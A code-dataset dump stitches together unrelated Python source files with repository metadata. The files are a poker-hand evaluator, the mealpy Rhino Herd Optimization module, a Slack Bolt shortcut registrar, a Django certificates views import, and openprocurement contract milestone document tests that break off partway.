0): print "Straight" b = max(a1, a2, a3, a4, a5) if a1 == b: df1.iloc[i * 4 + k - 1, 14] = 1 if a2 == b: df2.iloc[i * 4 + k - 1, 14] = 1 if a3 == b: df3.iloc[i * 4 + k - 1, 14] = 1 if a4 == b: df4.iloc[i * 4 + k - 1, 14] = 1 if a5 == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Check for 3 of a kind FH = 0 a1i = 0 a2i = 0 a3i = 0 a4i = 0 a5i = 0 # Evaluate for P1 list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] list[5] = df1.iloc[i * 4 + k - 1, 11] list[6] = df1.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 3: FH = FH + 1 a1i = m break # Evaluate for P2 list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] list[5] = df2.iloc[i * 4 + k - 1, 11] list[6] = df2.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 3: FH = FH + 1 a2i = m break # Evaluate for P3 list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] list[5] = df3.iloc[i * 4 + k - 1, 11] list[6] = df3.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 3: FH = FH + 1 a3i = m break # Evaluate for P4 list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] list[5] = df4.iloc[i * 4 + k - 1, 11] list[6] = df4.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 3: FH = FH + 1 a4i = m break # Evaluate for P5 list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] list[5] = df5.iloc[i * 4 + k - 1, 11] list[6] = df5.iloc[i * 4 + k - 1, 13] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5], list[6]): if m == n: count = count + 1 if count == 3: FH = FH + 1 a5i = m break # Evaluating for 3 of a kind if (FH > 0): print "3 of a kind" b = max(a1i, a2i, a3i, a4i, a5i) if a1i == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif a2i == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif a3i == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif a4i == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif a5i == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Evaluate for two pair and one pair f1 = [0] f2 = [0] f3 = [0] f4 = [0] f5 = [0] a1 = [0] a2 = [0] a3 = [0] a4 = [0] a5 = [0] Fin = 0 # Evaluate P1 TP1 = 0 list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] list[5] = df1.iloc[i * 4 + k - 1, 11] list[6] = df1.iloc[i * 4 + k - 1, 13] if (list[0] == list[2] or list[0] == list[3] or list[ 0] == list[4] or list[0] == list[5] or list[0] == list[6]): TP1 = TP1 + 1 f1.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[4] or list[1] == list[5] or list[1] == list[6]): TP1 = TP1 + 1 f1.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f1.append(list[1]) if TP1 > 1: f1 = np.sort(f1[::-1]).tolist() a1.append(f1[0]) a1.append(f1[1]) Fin = Fin + 1 # Evaluate P2 TP2 = 0 list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] list[5] = df2.iloc[i * 4 + k - 1, 11] list[6] = df2.iloc[i * 4 + k - 1, 13] if (list[0] == list[2] or list[0] == list[3] or list[0] == list[4] or list[0] == list[5] or list[0] == list[6]): TP2 = TP2 + 1 f2.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[4] or list[1] == list[5] or list[1] == list[6]): TP2 = TP2 + 1 f2.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f2.append(list[1]) if TP2 > 1: f2 = np.sort(f2[::-1]).tolist() a2.append(f2[0]) a2.append(f2[1]) Fin = Fin + 1 # Evaluate P3 TP3 = 0 list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] list[5] = df3.iloc[i * 4 + k - 1, 11] list[6] = df3.iloc[i * 4 + k - 1, 13] if (list[0] == list[2] or list[0] == list[ 3] or list[0] == list[4] or list[0] == list[5] or list[0] == list[6]): TP3 = TP3 + 1 f3.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[4] or list[1] == list[5] or list[1] == list[6]): TP3 = TP3 + 1 f3.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f3.append(list[1]) if TP3 > 1: f3 = np.sort(f3[::-1]).tolist() a3.append(f3[0]) a3.append(f3[1]) Fin = Fin + 1 # Evaluate P4 TP4 = 0 list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] list[5] = df4.iloc[i * 4 + k - 1, 11] list[6] = df4.iloc[i * 4 + k - 1, 13] if (list[0] == list[2] or list[0] == list[3] or list[0] == list[4] or list[0] == list[5] or list[0] == list[6]): TP4 = TP4 + 1 f4.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[ 4] or list[1] == list[5] or list[1] == list[6]): TP4 = TP4 + 1 f4.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f4.append(list[1]) if TP4 > 1: f4 = np.sort(f4[::-1]).tolist() a4.append(f4[0]) a4.append(f4[1]) Fin = Fin + 1 # Evaluate P5 TP5 = 0 list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] list[5] = df5.iloc[i * 4 + k - 1, 11] list[6] = df5.iloc[i * 4 + k - 1, 13] if (list[0] == list[2] or list[0] == list[3] or list[0] == list[4] or list[0] == list[5] or list[0] == list[6]): TP5 = TP5 + 1 f5.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[4] or list[1] == list[5] or list[1] == list[6]): TP5 = TP5 + 1 f5.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f5.append(list[1]) if TP5 > 1: f5 = np.sort(f5[::-1]).tolist() a5.append(f5[0]) a5.append(f5[1]) Fin = Fin + 1 #Check for two pair if Fin > 0: print "Two pair" b = max(max(a1),max(a2),max(a3),max(a4),max(a5)) if max(a1) == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif max(a2) == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif max(a3) == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif max(a4) == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif max(a5) == b: df5.iloc[i * 4 + k - 1, 14] = 1 #Check for one pair elif TP1+TP2+TP3+TP4+TP5 > 0: print "One pair" b = max(max(f1),max(f2),max(f3),max(f4),max(f5)) if max(f1) == b: df1.iloc[i * 4 + k - 1, 14] = 1 if max(f2) == b: df2.iloc[i * 4 + k - 1, 14] = 1 if max(f3) == b: df3.iloc[i * 4 + k - 1, 14] = 1 if max(f4) == b: df4.iloc[i * 4 + k - 1, 14] = 1 if max(f5) == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Find the high card print "High Card" winner = max(df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 3]) if df1.iloc[i * 4 + k - 1, 1] == winner or df1.iloc[ i * 4 + k - 1, 3] == winner: df1.iloc[i * 4 + k - 1, 14] = 1 if df2.iloc[i * 4 + k - 1, 1] == winner or df2.iloc[ i * 4 + k - 1, 3] == winner: df2.iloc[i * 4 + k - 1, 14] = 1 if df3.iloc[i * 4 + k - 1, 1] == winner or df3.iloc[ i * 4 + k - 1, 3] == winner: df3.iloc[i * 4 + k - 1, 14] = 1 if df4.iloc[i * 4 + k - 1, 1] == winner or df4.iloc[ i * 4 + k - 1, 3] == winner: df4.iloc[i * 4 + k - 1, 14] = 1 if df5.iloc[i * 4 + k - 1, 1] == winner or df5.iloc[ i * 4 + k - 1, 3] == winner: df5.iloc[i * 4 + k - 1, 14] = 1 df1.to_csv('P1.csv', index= False) df2.to_csv('P2.csv', index= False) df3.to_csv('P3.csv', index= False) df4.to_csv('P4.csv', index= False) df5.to_csv('P5.csv', index= False)

64.94594

152

0.261602

34,532

284,723

2.156666

0.004691

0.057738

0.086607

0.114671

0.987808

0.983927

0.982276

0.980423

0.976824

0.972984

0

0.15816

0.599593

284,723

4,383

153

64.960757

0.495092

0.017898

0

0.905628

0

0.001808

0

null

0

0.000728

null

0.011402

0

null

0

1

0

1

0

1

0

1

0

null

0

1

0

10

f728d9b17682bd804bb3615a11c5e2ce2f618a85

11,026

py

Python

mealpy/fake/RHO.py

ashishpatel26/mealpy

62160e61b8bd4b084e44b80fda720e6bd6332e03

[ "MIT" ]

1

2021-05-20T06:53:08.000Z

mealpy/fake/RHO.py

chenyuxiang0425/mealpy

69e8dc727e15527e31ac5ace1debe92a0bc7d828

[ "MIT" ]

null

mealpy/fake/RHO.py

chenyuxiang0425/mealpy

69e8dc727e15527e31ac5ace1debe92a0bc7d828

[ "MIT" ]

1

2020-09-30T21:14:33.000Z

#!/usr/bin/env python # ------------------------------------------------------------------------------------------------------% # Created by "Thieu Nguyen" at 14:53, 17/03/2020 % # % # Email: nguyenthieu2102@gmail.com % # Homepage: https://www.researchgate.net/profile/Thieu_Nguyen6 % # Github: https://github.com/thieu1995 % #-------------------------------------------------------------------------------------------------------% from numpy.random import uniform, normal from numpy.linalg import norm from numpy import exp, power, pi, zeros, array, mean, ones, dot from math import gamma from copy import deepcopy from mealpy.root import Root class OriginalRHO(Root): """ The original version of: Rhino Herd Optimization (RHO) (A Novel Metaheuristic Algorithm inspired by Rhino Herd Behavior) Link: https://doi.org/10.3384/ecp171421026 """ def __init__(self, obj_func=None, lb=None, ub=None, problem_size=50, batch_size=10, verbose=True, epoch=750, pop_size=100, c=0.53, a=2831, r=0.04, A=1): Root.__init__(self, obj_func, lb, ub, problem_size, batch_size, verbose) self.epoch = epoch self.pop_size = pop_size self.c = c # shape parameter - default = 0.53 > 0 self.a = a # scale parameter - default = 2831 > 0 self.r = r # default = 0.04 self.A = A # the area of each grid cell - default = 1 def train(self): pop = [self.create_solution() for _ in range(self.pop_size)] g_best = self.get_global_best_solution(pop=pop, id_fit=self.ID_FIT, id_best=self.ID_MIN_PROB) # Epoch loop for epoch in range(self.epoch): pos_list = array([item[self.ID_POS] for item in pop]) fit_list = array([item[self.ID_FIT] for item in pop]) fx_list = deepcopy(fit_list) pos_center = mean(pos_list, axis=0) ## Each individual loop for i in range(0, self.pop_size): # Eq. 1 exp_component = -1 * power(norm(pop[i][self.ID_POS] - pos_center) / self.a, 2.0 / self.c) fx = 2 * exp(exp_component) / (self.c ** 2 * pi * self.a ** 2 * gamma(self.c)) fx_list[i] = fx # Eq. 7 s_component = ones(self.problem_size) for j in range(0, self.problem_size): sum_temp = 0 for i in range(0, self.pop_size): sum_temp += fx_list[i] * (1 + pop[i][self.ID_POS][j] / (self.EPSILON + pop[i][self.ID_FIT])) s_component[j] = self.A * sum_temp for i in range(0, self.pop_size): x_new = pop[i][self.ID_POS] for j in range(0, self.problem_size): # Eq. 7 s_x = fx_list[i] * (1 + pop[i][self.ID_FIT] * pop[i][self.ID_POS][j]) / s_component[j] # Eq. 9 if uniform() <= 0.5: x_new[j] = pop[i][self.ID_POS][j] - uniform() * s_x * pop[i][self.ID_POS][j] else: x_new[j] = pop[i][self.ID_POS][j] + uniform() * s_x * pop[i][self.ID_POS][j] x_new = self.amend_position_faster(x_new) fit = self.get_fitness_position(x_new) if fit < pop[i][self.ID_FIT]: pop[i] = [x_new, fit] g_best = self.update_global_best_solution(pop, self.ID_MIN_PROB, g_best) self.loss_train.append(g_best[self.ID_FIT]) if self.verbose: print("> Epoch: {}, Best fit: {}".format(epoch + 1, g_best[self.ID_FIT])) self.solution = g_best return g_best[self.ID_POS], g_best[self.ID_FIT], self.loss_train class BaseRHO(Root): """ My version of: Rhino Herd Optimization (RHO) (A Novel Metaheuristic Algorithm inspired by Rhino Herd Behavior) Notes: + Remove third loop """ def __init__(self, obj_func=None, lb=None, ub=None, problem_size=50, batch_size=10, verbose=True, epoch=750, pop_size=100, c=0.53, a=2831, r=0.04, A=1): Root.__init__(self, obj_func, lb, ub, problem_size, batch_size, verbose) self.epoch = epoch self.pop_size = pop_size self.c = c # shape parameter - default = 0.53 > 0 self.a = a # scale parameter - default = 2831 > 0 self.r = r # default = 0.04 self.A = A # the area of each grid cell - default = 1 def train(self): pop = [self.create_solution() for _ in range(self.pop_size)] g_best = self.get_global_best_solution(pop=pop, id_fit=self.ID_FIT, id_best=self.ID_MIN_PROB) pop_size = self.pop_size # Epoch loop for epoch in range(self.epoch): pop_new = deepcopy(pop) pos_list = array([item[self.ID_POS] for item in pop]) fit_list = array([item[self.ID_FIT] for item in pop]) fx_list = deepcopy(fit_list) pos_center = mean(pos_list, axis=0) ## Calculate the fx for each individual for i in range(0, pop_size): # Eq. 1 exp_component = -1 * power(norm(pop[i][self.ID_POS] - pos_center) / self.a , 2.0/self.c ) fx = 2 * exp(exp_component) / (self.c ** 2 * pi * self.a ** 2 * gamma(self.c)) fx_list[i] = fx # print(fx_list) # Eq. 7 sum_temp = zeros(self.problem_size) for i in range(0, pop_size): sum_temp += fx_list[i] * (1 + pop[i][self.ID_POS] * pop[i][self.ID_FIT]) sum_temp = self.A * sum_temp for i in range(0, pop_size): s_x = fx_list[i] * (1 + pop[i][self.ID_POS]/pop[i][self.ID_FIT]) / sum_temp if uniform() <= 0.5: x_new = pop[i][self.ID_POS] - uniform() * dot(s_x, pop[i][self.ID_POS]) else: x_new = pop[i][self.ID_POS] + uniform() * dot(s_x, pop[i][self.ID_POS]) x_new = self.amend_position_faster(x_new) fit = self.get_fitness_position(x_new) if fit < pop[i][self.ID_FIT]: pop_new[i] = [x_new, fit] if epoch % 100 == 0: pop_size = self.pop_size pop_new = sorted(pop_new, key=lambda item: item[self.ID_FIT]) pop = deepcopy(pop_new[:pop_size]) else: pop_size = pop_size + int(self.r * pop_size) n_new = pop_size - len(pop) for i in range(0, n_new): pop_new.extend([self.create_solution()]) pop = deepcopy(pop_new) g_best = self.update_global_best_solution(pop, self.ID_MIN_PROB, g_best) self.loss_train.append(g_best[self.ID_FIT]) if self.verbose: print("> Epoch: {}, Best fit: {}".format(epoch + 1, g_best[self.ID_FIT])) self.solution = g_best return g_best[self.ID_POS], g_best[self.ID_FIT], self.loss_train class LevyRHO(BaseRHO): """ My modified version of: Rhino Herd Optimization (RH) (A Novel Metaheuristic Algorithm inspired by Rhino Herd Behavior) Notes: + Change the flow of algorithm + Uses normal in equation instead of uniform + Uses levy-flight instead of uniform-equation """ def __init__(self, obj_func=None, lb=None, ub=None, problem_size=50, batch_size=10, verbose=True, epoch=750, pop_size=100, c=0.53, a=2831, r=0.04, A=1): BaseRHO.__init__(self, obj_func, lb, ub, problem_size, batch_size, verbose, epoch, pop_size, c, a, r, A) def train(self): pop = [self.create_solution(minmax=0) for _ in range(self.pop_size)] g_best = self.get_global_best_solution(pop=pop, id_fit=self.ID_FIT, id_best=self.ID_MIN_PROB) pop_size = self.pop_size # Epoch loop for epoch in range(self.epoch): pop_new = deepcopy(pop) pos_list = array([item[self.ID_POS] for item in pop]) pos_center = mean(pos_list, axis=0) fx_list = zeros(pop_size) ## Calculate the fx for each individual for i in range(0, pop_size): # Eq. 1 exp_component = -1 * power( norm(pop[i][self.ID_POS] - pos_center) / self.a , 2.0/self.c ) fx = 2 * exp(exp_component) / (self.c ** 2 * pi * self.a ** 2 * gamma(self.c)) fx_list[i] = fx #print(fx_list) # Eq. 7 sum_temp = zeros(self.problem_size) for i in range(0, self.pop_size): sum_temp += fx_list[i] * (1 + pop[i][self.ID_POS] / pop[i][self.ID_FIT] + self.EPSILON) sum_temp = self.A * sum_temp for i in range(0, pop_size): s_x = fx_list[i] * (1 + pop[i][self.ID_FIT] * pop[i][self.ID_POS]) / sum_temp if uniform() < 0.5: x_new = pop[i][self.ID_POS] - normal() * dot(s_x, pop[i][self.ID_POS]) else: x_new = self.levy_flight(epoch+1, pop[i][self.ID_POS], g_best[self.ID_POS]) x_new = self.amend_position_faster(x_new) fit = self.get_fitness_position(x_new) if fit < pop[i][self.ID_FIT]: pop_new[i] = [x_new, fit] if epoch % 100 == 0: pop_size = self.pop_size pop_new = sorted(pop_new, key=lambda item: item[self.ID_FIT]) pop = deepcopy(pop_new[:pop_size]) else: pop_size = pop_size + int(self.r * pop_size) n_new = pop_size - len(pop) for i in range(0, n_new): pop_new.extend([self.create_solution()]) pop = deepcopy(pop_new) ## Make sure the population does not have duplicates. new_set = set() for idx, obj in enumerate(pop): if tuple(obj[self.ID_POS].tolist()) in new_set: pop[idx] = self.create_solution() else: new_set.add(tuple(obj[self.ID_POS].tolist())) g_best = self.update_global_best_solution(pop, self.ID_MIN_PROB, g_best) self.loss_train.append(g_best[self.ID_FIT]) if self.verbose: print("> Epoch: {}, Pop Size: {}, Best Fit: {}".format(epoch+1, pop_size, g_best[self.ID_FIT])) self.solution = g_best return g_best[self.ID_POS], g_best[self.ID_FIT], self.loss_train

45.561983

112

0.519137

1,536

11,026

3.510417

0.122396

0.067878

0.050074

0.055638

0.840134

0.827337

0.815467

0.798776

0.777634

0.773182

0

0.026794

0.346726

11,026

241

113

45.751037

0.721783

0.166969

0

0.773585

0

0.009826

0

1

0.037736

false

0

0.037736

0

0.113208

0.018868

0

null

0

1

0

1

0

null

0

7

f775432b4d5e6b1a33ee0c6ecc7e1e44e84cf48b

172

py

Python

listeners/shortcuts/__init__.py

slack-samples/bolt-python-starter-template

103bc032e8f158694dbb839beb35545685889525

[ "MIT" ]

1

2022-03-29T16:13:25.000Z

listeners/shortcuts/__init__.py

slack-samples/bolt-python-starter-template

103bc032e8f158694dbb839beb35545685889525

[ "MIT" ]

null

listeners/shortcuts/__init__.py

slack-samples/bolt-python-starter-template

103bc032e8f158694dbb839beb35545685889525

[ "MIT" ]

null

from slack_bolt import App from .sample_shortcut import sample_shortcut_callback def register(app: App): app.shortcut("sample_shortcut_id")(sample_shortcut_callback)

24.571429

64

0.825581

24

172

5.583333

0.458333

0.41791

0.328358

0

0.104651

172

6

65

28.666667

0.87013

0

0.104651

0

1

0.25

false

0

0.5

0

0.75

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

e3b92109278e3bea2d7ca3c6042720c5370a69f4

173

py

Python

Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/certificates/views/__init__.py

osoco/better-ways-of-thinking-about-software

83e70d23c873509e22362a09a10d3510e10f6992

[ "MIT" ]

3

2021-12-15T04:58:18.000Z

2022-02-06T12:15:37.000Z

Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/certificates/views/__init__.py

osoco/better-ways-of-thinking-about-software

83e70d23c873509e22362a09a10d3510e10f6992

[ "MIT" ]

null

Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/certificates/views/__init__.py

osoco/better-ways-of-thinking-about-software

83e70d23c873509e22362a09a10d3510e10f6992

[ "MIT" ]

1

2019-01-02T14:38:50.000Z

""" Aggregate all views exposed by the certificates app. """ from lms.djangoapps.certificates.views.support import * from lms.djangoapps.certificates.views.webview import *

28.833333

55

0.797688

22

173

6.272727

0.636364

0.101449

0.246377

0.42029

0.492754

0

0.104046

173

5

56

34.6

0.890323

0.300578

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

7

e3bb5249ab3051d55799197bde277a72fb8a652b

23,087

py

Python

openprocurement/contracting/esco/tests/document_blanks.py

VDigitall/openprocurement.contracting.esco

8583b05a86655367f3c2942a686a8c57452dc5c4

[ "Apache-2.0" ]

null

openprocurement/contracting/esco/tests/document_blanks.py

VDigitall/openprocurement.contracting.esco

8583b05a86655367f3c2942a686a8c57452dc5c4

[ "Apache-2.0" ]

24

2018-04-11T08:56:15.000Z

2018-06-13T11:38:34.000Z

openprocurement/contracting/esco/tests/document_blanks.py

VDigitall/openprocurement.contracting.esco

8583b05a86655367f3c2942a686a8c57452dc5c4

[ "Apache-2.0" ]

3

2017-05-25T10:15:04.000Z

2018-03-27T05:35:29.000Z

# -*- coding: utf-8 -*- from email.header import Header from openprocurement.api.utils import get_now # ContractDocumentResourceTest def contract_milestone_document(self): response = self.app.patch_json('/contracts/{}?acc_token={}'.format( self.contract_id, self.contract_token), {"data": {"status": "active"}}) self.assertEqual(response.status, '200 OK') # load document to contract response = self.app.post('/contracts/{}/documents?acc_token={}'.format( self.contract_id, self.contract_token), upload_files=[('file', str(Header(u'укр.doc', 'utf-8')), 'content')]) self.assertEqual(response.status, '201 Created') self.assertEqual(response.content_type, 'application/json') doc_id = response.json["data"]['id'] self.assertIn(doc_id, response.headers['Location']) self.assertEqual(u'укр.doc', response.json["data"]["title"]) self.assertEqual(response.json["data"]["documentOf"], "contract") self.assertNotIn("documentType", response.json["data"]) # try to make it milestone's document response = self.app.patch_json('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), {"data": {"documentOf": "milestone"}}, status=422) self.assertEqual(response.status, '422 Unprocessable Entity') self.assertEqual(response.json['errors'], [ {"location": "body", "name": "relatedItem", "description": ["This field is required."]}]) response = self.app.patch_json('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), {"data": { "documentOf": "milestone", "relatedItem": '1234' * 8}}, status=422) self.assertEqual(response.status, '422 Unprocessable Entity') self.assertEqual(response.json['errors'], [ {"location": "body", "name": "relatedItem", "description": ["relatedItem should be one of milestones"]}]) # get correct milestone id response = self.app.get('/contracts/{}'.format(self.contract_id)) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') milestone = response.json['data']['milestones'][0] # make sure it's pending milestone! self.assertEqual(milestone['status'], 'pending') # loading documents to pending milestone is allowed response = self.app.patch_json('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), {"data": { "documentOf": "milestone", "relatedItem": milestone['id']}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(doc_id, response.json["data"]["id"]) self.assertEqual(response.json["data"]["documentOf"], 'milestone') self.assertEqual(response.json["data"]["relatedItem"], milestone['id']) # update docs for pending milestone is allowed response = self.app.put('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), upload_files=[('file', 'name name.doc', 'content2')]) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(doc_id, response.json["data"]["id"]) self.assertNotIn('name name.doc', response.json["data"]["documentOf"]) self.assertEqual('milestone', response.json["data"]["documentOf"]) self.assertEqual(milestone['id'], response.json["data"]["relatedItem"]) # save this document id for later tests milestone_doc_id = doc_id # set milestone's status to terminal - met for example response = self.app.patch_json('/contracts/{}/milestones/{}?acc_token={}'.format( self.contract_id, milestone['id'], self.contract_token), {'data': { "status": "met", "amountPaid": {"amount": 600000}}}) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']['status'], 'met') self.assertEqual(response.json['data']['amountPaid']['amount'], 600000) # can't load documents for milestone in met status response = self.app.post('/contracts/{}/documents?acc_token={}'.format( self.contract_id, self.contract_token), upload_files=[('file', str(Header(u'next.doc', 'utf-8')), 'content')]) self.assertEqual(response.status, '201 Created') self.assertEqual(response.content_type, 'application/json') doc_id = response.json["data"]['id'] self.assertIn(doc_id, response.headers['Location']) self.assertEqual(u'next.doc', response.json["data"]["title"]) self.assertEqual(response.json["data"]["documentOf"], "contract") self.assertNotIn("documentType", response.json["data"]) response = self.app.patch_json('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), {"data": { "documentOf": "milestone", "relatedItem": milestone['id']}}, status=403) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.status, '403 Forbidden') self.assertEqual(response.json['errors'], [ {"location": "body", "name": "data", "description": "Can't add document in current (met) milestone status"}]) # update doc (which was loaded earlier) of met milestone is forbidden response = self.app.put('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, milestone_doc_id, self.contract_token), upload_files=[('file', 'name name.doc', 'content2')], status=403) self.assertEqual(response.status, '403 Forbidden') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['errors'], [ {"location": "body", "name": "data", "description": "Can't update document in current (met) milestone status"}]) # get scheduled milestone - it's third one (1 - met, 2 - pending, 3 - scheduled) response = self.app.get('/contracts/{}'.format(self.contract_id)) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') scheduled_milestone = response.json['data']['milestones'][3] # make sure it's scheduled milestone! self.assertEqual(scheduled_milestone['status'], 'scheduled') # can't load documents for milestone in scheduled status w/o pending change response = self.app.patch_json('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), {"data": { "documentOf": "milestone", "relatedItem": scheduled_milestone['id']}}, status=403) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.status, '403 Forbidden') self.assertEqual(response.json['errors'], [ {"location": "body", "name": "data", "description": "Can't add document to scheduled milestone without pending change"}]) # create pending change response = self.app.post_json('/contracts/{}/changes?acc_token={}'.format( self.contract_id, self.contract_token), {'data': { 'rationale': u'причина зміни укр', 'rationale_en': 'change cause en', 'rationaleTypes': ['itemPriceVariation']}}) self.assertEqual(response.status, '201 Created') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']['status'], 'pending') change = response.json['data'] # now loading docs for scheduled milestone is allowed response = self.app.patch_json('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), {"data": { "documentOf": "milestone", "relatedItem": scheduled_milestone['id']}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(doc_id, response.json["data"]["id"]) self.assertEqual(response.json["data"]["documentOf"], 'milestone') self.assertEqual(response.json["data"]["relatedItem"], scheduled_milestone['id']) # update docs for scheduled milestone with pending change is allowed response = self.app.put('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), upload_files=[('file', 'name name name.doc', 'content2')]) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(doc_id, response.json["data"]["id"]) self.assertNotIn('name name name.doc', response.json["data"]["documentOf"]) self.assertEqual('milestone', response.json["data"]["documentOf"]) self.assertEqual(scheduled_milestone['id'], response.json["data"]["relatedItem"]) # activate change response = self.app.patch_json('/contracts/{}/changes/{}?acc_token={}'.format( self.contract_id, change['id'], self.contract_token), {'data': { 'status': 'active', 'dateSigned': get_now().isoformat()}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']['status'], 'active') # update docs for scheduled milestone is not allowed without pending change response = self.app.put('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), upload_files=[('file', 'name name name.doc', 'content2')], status=403) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.status, '403 Forbidden') self.assertEqual(response.json['errors'], [ {"location": "body", "name": "data", "description": "Can't update document to scheduled milestone without pending change"}]) # can't load documents to spare milestone spare_milestone = self.initial_data['milestones'][-2] self.assertEqual(spare_milestone['status'], 'spare') 